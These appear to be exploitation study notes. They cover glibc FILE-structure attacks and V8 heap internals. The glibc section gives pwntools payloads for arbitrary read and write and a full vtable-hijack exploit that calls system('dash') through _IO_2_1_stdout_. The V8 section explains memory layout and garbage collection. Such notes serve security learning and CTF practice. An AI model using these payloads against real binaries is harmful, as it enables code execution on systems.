/* 0x0020      |  0x0008 */    _IO_underflow_t __underflow;
/* 0x0028      |  0x0008 */    _IO_underflow_t __uflow;
/* 0x0030      |  0x0008 */    _IO_pbackfail_t __pbackfail;
/* 0x0038      |  0x0008 */    _IO_xsputn_t __xsputn;
/* 0x0040      |  0x0008 */    _IO_xsgetn_t __xsgetn;
/* 0x0048      |  0x0008 */    _IO_seekoff_t __seekoff;
/* 0x0050      |  0x0008 */    _IO_seekpos_t __seekpos;
/* 0x0058      |  0x0008 */    _IO_setbuf_t __setbuf;
/* 0x0060      |  0x0008 */    _IO_sync_t __sync;
/* 0x0068      |  0x0008 */    _IO_doallocate_t __doallocate;
/* 0x0070      |  0x0008 */    _IO_read_t __read;
/* 0x0078      |  0x0008 */    _IO_write_t __write;
/* 0x0080      |  0x0008 */    _IO_seek_t __seek;
/* 0x0088      |  0x0008 */    _IO_close_t __close;
/* 0x0090      |  0x0008 */    _IO_stat_t __stat;
/* 0x0098      |  0x0008 */    _IO_showmanyc_t __showmanyc;
/* 0x00a0      |  0x0008 */    _IO_imbue_t __imbue;

                               /* total size (bytes):  168 */
                             }

List of vtables

https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/libioP.h#L509

note

  • glibc stdio uses _IO_file_jumps vtable
  • _wide_data struct uses _IO_wfile_jumps vtable
extern const struct _IO_jump_t __io_vtables[] attribute_hidden;
#define _IO_str_jumps                    (__io_vtables[IO_STR_JUMPS])
#define _IO_wstr_jumps                   (__io_vtables[IO_WSTR_JUMPS])
#define _IO_file_jumps                   (__io_vtables[IO_FILE_JUMPS])
#define _IO_file_jumps_mmap              (__io_vtables[IO_FILE_JUMPS_MMAP])
#define _IO_file_jumps_maybe_mmap        (__io_vtables[IO_FILE_JUMPS_MAYBE_MMAP])
#define _IO_wfile_jumps                  (__io_vtables[IO_WFILE_JUMPS])
#define _IO_wfile_jumps_mmap             (__io_vtables[IO_WFILE_JUMPS_MMAP])
#define _IO_wfile_jumps_maybe_mmap       (__io_vtables[IO_WFILE_JUMPS_MAYBE_MMAP])
#define _IO_cookie_jumps                 (__io_vtables[IO_COOKIE_JUMPS])
#define _IO_proc_jumps                   (__io_vtables[IO_PROC_JUMPS])
#define _IO_mem_jumps                    (__io_vtables[IO_MEM_JUMPS])
#define _IO_wmem_jumps                   (__io_vtables[IO_WMEM_JUMPS])
#define _IO_printf_buffer_as_file_jumps  (__io_vtables[IO_PRINTF_BUFFER_AS_FILE_JUMPS])
#define _IO_wprintf_buffer_as_file_jumps (__io_vtables[IO_WPRINTF_BUFFER_AS_FILE_JUMPS])
#define _IO_old_file_jumps               (__io_vtables[IO_OLD_FILE_JUMPS])
#define _IO_old_proc_jumps               (__io_vtables[IO_OLD_PROC_JUMPS])
#define _IO_old_cookie_jumps             (__io_vtables[IO_OLD_COOKIED_JUMPS])

Arbitrary Address Write

  • Human language:
    • the ability to write anywhere on the memory
    • read file content then write to memory (fread)
    • reading data into memory
  • C language:
    • read(fd, buf, size);
    • fread(buf, size, nmemb, fp)

Requirements:

  • _flags & _IO_NO_READS (0x4) == 01
  • _IO_read_ptr == _IO_read_end
  • _IO_buf_base is set to the starting address to write into
  • _IO_buf_end is set to the end address (starting address + number of bytes to be written into)
  • _IO_fileno is set to the source of data file descriptor , usually 0 (STDIN_FILENO)

Example

Example using pwntools to setup for writing nb number of bytes into address target_address

from pwn import *

target_address = 0x1337
nb = 0x100
fs = FileStructure()
# flags taken from unbuffered _IO_2_1_stdin_, but most importantly 0xfbad208b & _IO_NO_READS == 0
fs.flags = 0xfbad208b
fs._IO_buf_base = target_address
fs._IO_buf_end = target_address + nb
fs._fileno = 1  # STDOUT_FILENO
payload = bytes(fs)  # payload to overwrite the whole field of _IO_FILE_plus struct
payload = fs.struntil("_fileno")  # payload to overwrite until _fileno

# Alternative way to automatically set the required fields and .struntil("_fileno")
payload = FileStructure().read(addr=target_address, size=nb)
1

Default for fopen(filepath, "r") or achievable by _flag & (~_IO_NO_READS)

Arbitrary Address Read

  • Human language:
    • the ability to read any data from memory (leak memory)
    • read from memory then write to file (fwrite)
    • reading data from memory
  • C language:
    • write(fd, buf, size);
    • fwrite(buf, size, nmemb, fp)

Requirements:

  • _flags & _IO_NO_WRITES (0x8) == 02
  • _flags & _IO_UNBUFFERED (0x2) == 1 (not necessary, but desirable in most cases)
  • _IO_read_end == _IO_write_base
  • _IO_write_base is set to the starting address to read from
  • _IO_write_ptr is set to the end address (starting address + number of bytes to be read from)
  • _IO_fileno is set to the file descriptor where the read data is written into, usually 1 (STDOUT_FILENO)

Example

Example using pwntools to setup for reading nb number of bytes from address target_address

from pwn import *

target_address = 0x1337
nb = 0x100
fs = FileStructure()
# flags taken from unbuffered _IO_2_1_stdout_, but most importantly 0xfbad2887 & _IO_NO_WRITES == 0
fs.flags = 0xfbad2887
fs._IO_write_base = target_address
fs._IO_write_ptr = target_address + nb
fs._fileno = 1  # STDOUT_FILENO
payload = bytes(fs)  # payload to overwrite the whole field of _IO_FILE_plus struct
payload = fs.struntil("_fileno")  # payload to overwrite until _fileno

# Alternative way to automatically set the required fields and .struntil("_fileno")
payload = FileStructure().write(addr=target_address, size=nb) # 
2

Default for fopen(filepath, "w") or achievable by _flag & (~_IO_NO_WRITES) (_IO_NO_WRITES = 0x8)

Overwriting vtable Exploit

Abusing fwrite & glibc _IO_2_1_stdout_

fwrite calls _IO_sputn which is the function at offset 0x38 inside the vtable. Hence, when overwriting the vtable field to point to our fake vtable, for example at address 0x13370000, the target functon needs to be located at 0x13370038.

// https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/libioP.h#L177
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)

// https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/libioP.h#L380
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

// https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/iofwrite.c#L30
size_t
_IO_fwrite (const void *buf, size_t size, size_t count, FILE *fp)
{
  size_t request = size * count;
  size_t written = 0;
  CHECK_FILE (fp, 0);
  if (request == 0)
    return 0;
  _IO_acquire_lock (fp);
  if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
    written = _IO_sputn (fp, (const char *) buf, request); // calls _IO_sputn
  _IO_release_lock (fp);
  /* We have written all of the input in case the return value indicates
     this or EOF is returned.  The latter is a special case where we
     simply did not manage to flush the buffer.  But the data is in the
     buffer and therefore written as far as fwrite is concerned.  */
  if (written == request || written == EOF)
    return count;
  else
    return written / size;
}

Cross check using disassembler

gef> disass fwrite
Dump of assembler code for function __GI__IO_fwrite:
   [snip]
   0x00007ffff7e12f4d <+45>:    mov    rbx,rcx  # rcx (the 4th argument in x64 calling convention) is FILE *fp
   [snip]
   0x00007ffff7e12fa3 <+131>:   mov    r15,QWORD PTR [rbx+0xd8]  # 0xd8 is offset to the vtable field
   [snip]
   0x00007ffff7e12fd3 <+179>:   call   QWORD PTR [r15+0x38]  # calls the function at offset 0x38 inside the vtable, which is __xsputn
   [snip]
gef> p (char *)&_IO_2_1_stdout_ + 0xd8
$1 = 0x7ffff7fad858 <_IO_2_1_stdout_+216> ""
gef> p &_IO_2_1_stdout_.vtable
$2 = (const struct _IO_jump_t **) 0x7ffff7fad858 <_IO_2_1_stdout_+216>
gef> tele _IO_2_1_stdout_.vtable 8
0x7ffff7fa9600|+0x0000|+000: 0x0000000000000000  <-  $rbp
0x7ffff7fa9608|+0x0008|+001: 0x0000000000000000
0x7ffff7fa9610|+0x0010|+002: 0x00007ffff7e1eff0 <_IO_new_file_finish>  ->  0xfd894855fa1e0ff3
0x7ffff7fa9618|+0x0018|+003: 0x00007ffff7e1fdc0 <_IO_new_file_overflow>  ->  0x48555441fa1e0ff3
0x7ffff7fa9620|+0x0020|+004: 0x00007ffff7e1fab0 <_IO_new_file_underflow>  ->  0x10a8078bfa1e0ff3
0x7ffff7fa9628|+0x0028|+005: 0x00007ffff7e20d60 <__GI__IO_default_uflow>  ->  0x158d4855fa1e0ff3
0x7ffff7fa9630|+0x0030|+006: 0x00007ffff7e22280 <__GI__IO_default_pbackfail>  ->  0x56415741fa1e0ff3
0x7ffff7fa9638|+0x0038|+007: 0x00007ffff7e1e600 <_IO_new_file_xsputn>  ->  0x56415741fa1e0ff3

Since glibc 2.24, there is a vtable pointer validation check. This validation prevents us from modifying the vtable pointer to point outside the vtables region. Fortunately, there is no validation for _wide_data vtable pointer, _wide_vtable.

For this _wide_vtable to be used, we would need to get fwrite to call _IO_wfile_overflow instead of __xsputn which would then call _IO_wdoallocbuf and finally a function inside _wide_vtable.

struct _IO_FILE
{
  // snip for brevity
/* offset      |    size */
/* 0x00a0      |  0x0008 */    struct _IO_wide_data *_wide_data;
  // snip for brevity
};


struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};

_IO_wide_data field offsets

gef> ptype /ox struct _IO_wide_data
/* offset      |    size */  type = struct _IO_wide_data {
/* 0x0000      |  0x0008 */    wchar_t *_IO_read_ptr;
/* 0x0008      |  0x0008 */    wchar_t *_IO_read_end;
/* 0x0010      |  0x0008 */    wchar_t *_IO_read_base;
/* 0x0018      |  0x0008 */    wchar_t *_IO_write_base;
/* 0x0020      |  0x0008 */    wchar_t *_IO_write_ptr;
/* 0x0028      |  0x0008 */    wchar_t *_IO_write_end;
/* 0x0030      |  0x0008 */    wchar_t *_IO_buf_base;
/* 0x0038      |  0x0008 */    wchar_t *_IO_buf_end;
/* 0x0040      |  0x0008 */    wchar_t *_IO_save_base;
/* 0x0048      |  0x0008 */    wchar_t *_IO_backup_base;
/* 0x0050      |  0x0008 */    wchar_t *_IO_save_end;
/* 0x0058      |  0x0008 */    __mbstate_t _IO_state;
/* 0x0060      |  0x0008 */    __mbstate_t _IO_last_state;
/* 0x0068      |  0x0070 */    struct _IO_codecvt {
/* 0x0068      |  0x0038 */        _IO_iconv_t __cd_in;
/* 0x00a0      |  0x0038 */        _IO_iconv_t __cd_out;

                                   /* total size (bytes):  112 */
                               } _codecvt;
/* 0x00d8      |  0x0004 */    wchar_t _shortbuf[1];
/* XXX  4-byte hole      */
/* 0x00e0      |  0x0008 */    const struct _IO_jump_t *_wide_vtable;

                               /* total size (bytes):  232 */
                             }

To successfuly get _IO_wfile_overflow to use our fake wide vtable, we need to satisfy several conditions.

  • As seen from the code snippet below, fp->_wide_data->_IO_write_base needs to be NULL
  • Inside _IO_wdoallocbuf, there is a check similar like this:
    if (f->_wide_data->_IO_buf_base) {
        _IO_wfile_doallocate (f); // wide vtable function at offset 0x68
    }
    

If we overwrite _wide_vtable+0x68 to be the address of system(), we could see that it will invoke system like so, system(f), where f is the file struct that we corrupted. In other words, the argument passed to system() would be the value of the _flags field. Through trial-and-error, I found out that setting _flags = 0x68736162, which is just bash does not work as throughout the process, this value is changed and when it reaches vtable function invocation, it is no longer system("bash"). The working solution is to call system("dash").

// https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/wfileops.c#L406
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0  // shouldn't be an issue since the second condition can be easily satisfied and needs to be satisfied
      || f->_wide_data->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f);
	  _IO_free_wbackup_area (f);
	  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
		     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

	  if (f->_IO_write_base == NULL)
	    {
	      _IO_doallocbuf (f);
	      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
	    }
	}
    // snip for brevity
    }
    // snip for brevity
}
gef> disass _IO_wfile_overflow
   [snip]
   0x00007ffff7e195f0 <+608>:   call   0x7ffff7e16b70 <__GI__IO_wdoallocbuf>
   [snip]

gef> disass _IO_wdoallocbuf
Dump of assembler code for function __GI__IO_wdoallocbuf:
   0x00007ffff7e16b70 <+0>:     endbr64
   0x00007ffff7e16b74 <+4>:     mov    rax,QWORD PTR [rdi+0xa0]  # rax = fp->_wide_data
   0x00007ffff7e16b7b <+11>:    cmp    QWORD PTR [rax+0x30],0x0  # checks if fp->_wide_data->_IO_buf_base is NULL
   0x00007ffff7e16b80 <+16>:    je     0x7ffff7e16b88 <__GI__IO_wdoallocbuf+24>
   0x00007ffff7e16b82 <+18>:    ret
   0x00007ffff7e16b83 <+19>:    nop    DWORD PTR [rax+rax*1+0x0]
   0x00007ffff7e16b88 <+24>:    push   r12
   0x00007ffff7e16b8a <+26>:    push   rbp
   0x00007ffff7e16b8b <+27>:    push   rbx
   0x00007ffff7e16b8c <+28>:    mov    rbx,rdi
   0x00007ffff7e16b8f <+31>:    test   BYTE PTR [rdi],0x2
   0x00007ffff7e16b92 <+34>:    jne    0x7ffff7e16c08 <__GI__IO_wdoallocbuf+152>
   0x00007ffff7e16b94 <+36>:    mov    rax,QWORD PTR [rax+0xe0]  # rax = fp->_wide_data->_wide_vtable
   0x00007ffff7e16b9b <+43>:    call   QWORD PTR [rax+0x68]  # calls function at offset 0x68 inside the _wide_vtable (of kind __doallocate, specifically _IO_wfile_doallocate since we are dealing with wide data)

warning

Be careful when overwriting the _IO_lock_t *_lock field. The value needs to be a writable address that has NULL value

Example

Here is an example using pwntools

from pwn import *

elf = context.binary = ELF("/path/to/binary", checksec=False)
libc = elf.libc

def start(argv=[], *a, **kw):
    nc = "nc localhost 1337"
    nc = nc.split()
    host = args.HOST or nc[1]
    port = int(args.PORT or nc[2])
    if args.REMOTE:
        return remote(host, port)
    else:
        args_ = [elf.path] + argv
        if args.NA:  # NOASLR
            args_ = ["setarch", "-R"] + args_
        return process(args_, env=env, *a, **kw)


def aaw(addr, data):
    # Helper function to perform arbitrary address write
    pass


def aar(addr, data):
    # Helper function to perform arbitrary address write
    pass

env = {}
io = start()

fake_wide_vtable = elf.bss(0x400)
# Create overlapping fake _IO_wide_data struct and fake _wide_vtable @ bss+0x400
payload = b""
# doing this ensures both fp->_wide_data->_IO_write_base and
# fp->_wide_data->_IO_buf_base is set to NULL
payload = payload.ljust(0x68, b"\x00")
payload += p64(libc.sym["system"])  # _wide_vtable+0x68, which is also fp->_wide_data->_codecvt
payload = payload.ljust(0xe0, b"\x00")
payload += p64(fake_wide_vtable)  # fp->_wide_data->_wide_vtable

aaw(fake_wide_vtable, payload)

# Overwrite _IO_2_1_stdout_ vtable to call _IO_wfile_overflow
fs = FileStructure()
fs.flags = u32(b"dash")
fs.fileno = 1
fs._lock = libc.sym["_IO_stdfile_1_lock"]
fs._wide_data = fake_wide_vtable
# 0x38 is the function offset inside vtable
# 0x18 is __overflow offset for _IO_jump_t
fs.vtable = libc.sym["_IO_wfile_jumps"] - 0x38 + 0x18
payload = bytes(fs)
aaw(libc.sym["_IO_2_1_stdout_"], payload)

io.interactive()

References

V8 Internals 101

To follow along, it is recommended to build d8 with debug mode. Steps on how to build d8 can be found here

Pointer Compression

In V8, pointer to an object is tagged with 1 on the least significant bit (LSB). This is done to distinguish between immediate values and pointer. Small immediate integer (SMI) are stored in 32-bit memory space with the LSB always set to 0.

The pointer itself is 32-bit wide which serves as an offset from the isolate_root. This is how sandboxing works in V8 heap. V8 would sum up isolate_root and the 32-bit offset value to get the actual memory address in the process.

In the example below, we could see that the elements pointer is 0x2932000006cd. The isolate_root is 0x293200000000, while the lower 32-bit, 0x000006cd is the offset and is the only value stored inside the heap.

note

Remember to subtract the pointer value by 1 when inspecting inside debugger

$ ./d8 --allow-natives-syntax
d8> let arr = [];
undefined
d8> %DebugPrint(arr);
DebugPrint: 0x2932001c9411: [JSArray]
 - map: 0x2932000ce6b1 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x2932000ce925 <JSArray[0]>
 - elements: 0x2932000006cd <FixedArray[0]> [PACKED_SMI_ELEMENTS]
 - length: 0
 - properties: 0x2932000006cd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x293200000d41: [String] in ReadOnlySpace: #length: 0x29320030f6f9 <AccessorInfo name= 0x293200000d41 <String[6]: #length>, data= 0x293200000061 <undefined>> (const accessor descriptor), location: descriptor
 }
[snip]

Further details on pointer compression can be found on this V8 blog.

JSArray

First, let's take a look at how arrays are structured inside memory using GDB for this snippet of code.

let arr = [1.1, 2.2, 3.3, 4.4]
gdb -ex 'run' --args './d8 --allow-natives-syntax --shell ./script.js'
  • --allow-natives-syntax: allow us to invoke built-in function, e.g., %DebugPrint
  • --shell: drop into interactive mode after executing script.js
d8> %DebugPrint(arr)
DebugPrint: 0x3349001c94ad: [JSArray]
 - map: 0x3349000cefb1 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x3349000ce925 <JSArray[0]>
 - elements: 0x3349001c9485 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x3349000006cd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x334900000d41: [String] in ReadOnlySpace: #length: 0x33490030f6f9 <AccessorInfo name= 0x334900000d41 <String[6]: #length>, data= 0x334900000061 <undefined>> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3349001c9485 <FixedDoubleArray[4]> {
           0: 1.1
           1: 2.2
           2: 3.3
           3: 4.4
 }

Inspecting the object directly in debugger, we could see that there are some familiar values 0xcefb1, 0x6cd, 0x1c9485

gef> tele 0x4f6001c94ad-0x1
0x3349001c94ac|+0x0000|+000: 0x000006cd000cefb1
0x3349001c94b4|+0x0008|+001: 0x00000008001c9485
0x3349001c94bc|+0x0010|+002: 0x0000030600000b51
0x3349001c94c4|+0x0018|+003: 0x0000000000000000
0x3349001c94cc|+0x0020|+004: 0x0000006100000100
0x3349001c94d4|+0x0028|+005: 0x0000006100000061
0x3349001c94dc|+0x0030|+006: 0x0000006100000061
0x3349001c94e4|+0x0038|+007: 0x0000006100000061
0x3349001c94ec|+0x0040|+008: 0x0000006100000061
0x3349001c94f4|+0x0048|+009: 0x0000006100000061

Recall that the upper 32-bit, 0x3349, is not present as it is the isolate_root value and is stored somewhere else in the memory. Next, remember that SMI is stored shifted to the left by 1. The length of our array is 4 and so the value in memory would be 4 << 1 = 0x8 which could be found at 0x3349001c94b8.

offsetvaluefield
0x000x000cefb1map (pointer)
0x040x000006cdproperties (pointer)
0x080x001c9485elements (pointer)
0x0c0x00000008length (SMI)

Inspecting the array elements via d8 and debugger:

d8> %DebugPrintPtr(0x3349001c9485)
DebugPrint: 0x3349001c9485: [FixedDoubleArray]
 - map: 0x334900000851 <Map(FIXED_DOUBLE_ARRAY_TYPE)>
 - length: 4
           0: 1.1
           1: 2.2
           2: 3.3
           3: 4.4
gef> tele 0x3349001c9485-0x1
0x3349001c9484|+0x0000|+000: 0x0000000800000851
0x3349001c948c|+0x0008|+001: 0x3ff199999999999a
0x3349001c9494|+0x0010|+002: 0x400199999999999a
0x3349001c949c|+0x0018|+003: 0x400a666666666666
0x3349001c94a4|+0x0020|+004: 0x401199999999999a
0x3349001c94ac|+0x0028|+005: 0x000006cd000cefb1
0x3349001c94b4|+0x0030|+006: 0x00000008001c9485
0x3349001c94bc|+0x0038|+007: 0x0000030600000b51
0x3349001c94c4|+0x0040|+008: 0x0000000000000000
0x3349001c94cc|+0x0048|+009: 0x0000006100000100

Again we could see familiar values like 0x851 for map and 0x8 for length. The 4 64-bit values at offset 0x8 is actually 1.1, 2.2, 3.3, and 4.4 floating numbers in hexadecimal format.

gef> p/x 1.1
$1 = 0x3ff199999999999a
gef> p/x 2.2
$2 = 0x400199999999999a
gef> p/x 3.3
$3 = 0x400a666666666666
gef> p/x 4.4
$4 = 0x401199999999999a

At offset 0x28, we could see that it is actually the JSArray object that we inspected earlier.

HeapNumber

Now, let's see when some of the elements changes type to Object and Integer. The elements are reallocated and the floating numbers are converted into objects.

d8> arr[0] = {}
d8> arr[1] = 1
d8> %DebugPrint(arr)
DebugPrint: 0x3349001c94ad: [JSArray]
 - map: 0x3349000cf031 <Map[16](PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x3349000ce925 <JSArray[0]>
 - elements: 0x3349001ca1b9 <FixedArray[4]> [PACKED_ELEMENTS]
 - length: 4
 - properties: 0x3349000006cd <FixedArray[0]>
 - All own properties (excluding elements): {
    0x334900000d41: [String] in ReadOnlySpace: #length: 0x33490030f6f9 <AccessorInfo name= 0x334900000d41 <String[6]: #length>, data= 0x334900000061 <undefined>> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3349001ca1b9 <FixedArray[4]> {
           0: 0x3349001ca19d <Object map = 0x3349000c4945>
           1: 1
           2: 0x3349001ca1dd <HeapNumber 3.3>
           3: 0x3349001ca1d1 <HeapNumber 4.4>
 }
d8> %DebugPrintPtr(0x3349001ca1dd)
DebugPrint: 0x3349001ca1dd: [HeapNumber]
 - map: 0x3349000007b1 <Map[12](HEAP_NUMBER_TYPE)>
 - value: 3.3

Looking via debugger, this is how the new elements and HeapNumber look like inside memory.

gef> tele 0x3349001ca1b9-0x1
0x3349001ca1b8|+0x0000|+000: 0x0000000800000565
0x3349001ca1c0|+0x0008|+001: 0x00000002001ca19d
0x3349001ca1c8|+0x0010|+002: 0x001ca1d1001ca1dd

gef> tele 0x3349001ca1dd-0x1
0x3349001ca1dc|+0x0000|+000: 0x66666666000007b1
0x3349001ca1e4|+0x0008|+001: 0x000007b1400a6666
0x3349001ca1ec|+0x0010|+002: 0x400199999999999a
0x3349001ca1f4|+0x0018|+003: 0x9999999a000007b1
offsetvaluefield
0x000x000cefb1map (pointer)
0x040x400a666666666666value (3.3)

JSObject

Read this: https://jhalon.github.io/chrome-browser-exploitation-1/#object-representation

Elements Kinds

For arrays of kind PACKED_SMI_ELEMENTS, PACKED_DOUBLE_ELEMENTS, and PACKED_ELEMENTS, the elements is always allocated first which means that it can be found on lower memory address than the JSArray object itself. object.

let packed_smi_arr_1 = [1]
packed_smi_arr_1.push(2.2) // now this array becomes PACKED_DOUBLE_ELEMENTS kind
packed_smi_arr_1.push({}) // now this array becomes PACKED_ELEMENTS kind

let packed_smi_arr_2 = [1]
packed_smi_arr_2.push({}) // now this array becomes PACKED_ELEMENTS kind
packed_smi_arr_2.push(2.2) // stays on PACKED_ELEMENTS kind

let packed_double_arr = [1, 2.2]
let packed_arr_1 = [{}]
let packed_arr_2 = [0, {}]

There are also other kind of arrays, i.e., HOLEY_SMI_ELEMENTS, HOLEY_DOUBLE_ELEMENTS, and HOLEY_ELEMENTS. This are arrays that has the_hole_value as the element. The JSArray object is located at lower memory address than the elements.

let arr = Array(4)  // arr is HOLEY_SMI_ELEMENTS kind
arr[0] = 1.1        // arr transitions to HOLEY_DOUBLE_ELEMENTS kind
arr[1] = {}         // arr transitions to HOLEY_ELEMENTS kind

let foo = [1, 2.2]  // foo is PACKED_DOUBLE_ELEMENTS kind
delete foo[1]       // foo transitions to HOLEY_DOUBLE_ELEMENTS

Element kinds transition can be read on this blog

Garbage Collection

./d8 --trace-gc --expose-gc
d8> gc();  // major GC (mark and sweep)
d8> gc({type:'minor'});  // minor GC (scavenge)

Major GC

  • Covers the whole heap (ReadOnlySpace, OldSpace, NewSpace, etc.(?))
  • Marking is done from roots (typically variable on the most outer scope)
var b = [{foo:'bar'}, 1.1, {leet:'1337'}]
// b, {foo:'bar'}, and {leet:'1337'} lives in NewSpace
// HeapNumber(1.1) lives in OldSpace
gc();
// b, {foo:'bar'}, and {leet:'1337'} moves to OldSpace
// HeapNumber(1.1) lives in OldSpace
var b = [{foo:'bar'}, 1.1, {leet:'1337'}]
delete b[0];
// b and {leet:'1337'} lives in NewSpace
// {foo:'bar'} still lives in NewSpace
// HeapNumber(1.1) lives in OldSpace
gc();
// b and {leet:'1337'} moves to OldSpace
// {foo:'bar'} is garbage collected
// HeapNumber(1.1) still lives in OldSpace
delete b[2];
delete b[1];
// {leet:'1337'} still lives in OldSpace
// HeapNumber(1.1) still lives in OldSpace
gc();
// {leet:'1337'} is garbage collected
// HeapNumber(1.1) still lives in OldSpace

Minor GC

  • Only covers the NewSpace, specifically From-Space / Nursery, which is where objects are allocated to
  • First minor GC relocate reachable object from From-Space/Nursery to To-Space/Intermediate, then swap the labels between From-Space/Nursery and To-Space/Intermediate
  • Objects allocated after the first minor GC (let these objects be y) lives in the same space together with those that survives the first minor GC (let these objects be x)
  • The next minor GC, x objects that are still reachable are reallocated to OldSpace, and reachable y objects move to To-Space/Intermediate, then swap labels again
  • For subsequent minor GC, the same pattern follows
var b = [{foo:'bar'}, 1.1, {leet:'1337'}]
delete b[0];
// b and {leet:'1337'} lives in NewSpace
// {foo:'bar'} still lives in NewSpace
// HeapNumber(1.1) lives in OldSpace
gc({type:'minor'});
var c = {idk:'new', kdi:'wen'}
// b and {leet:'1337'} moves to To-Space (NewSpace)
// {foo:'bar'} is garbage collected
// HeapNumber(1.1) lives in OldSpace
// c and its properties lives together with b and {leet:'1337'}
delete b[2];
// {leet:'1337'} is still around
gc({type:'minor'});
// {leet:'1337'} is garbage collected
// b moves to OldSpace
// c and its properties still lives in NewSpace
gc({type:'minor'})
// c and its properties moves to OldSpace

References

Appendix

Building d8 for Debugging

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$(pwd)/depot_tools:$PATH"
fetch v8
cd v8
./build/install-build-deps.sh
gclient sync
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug
cd ./out.gn/x64.debug
./d8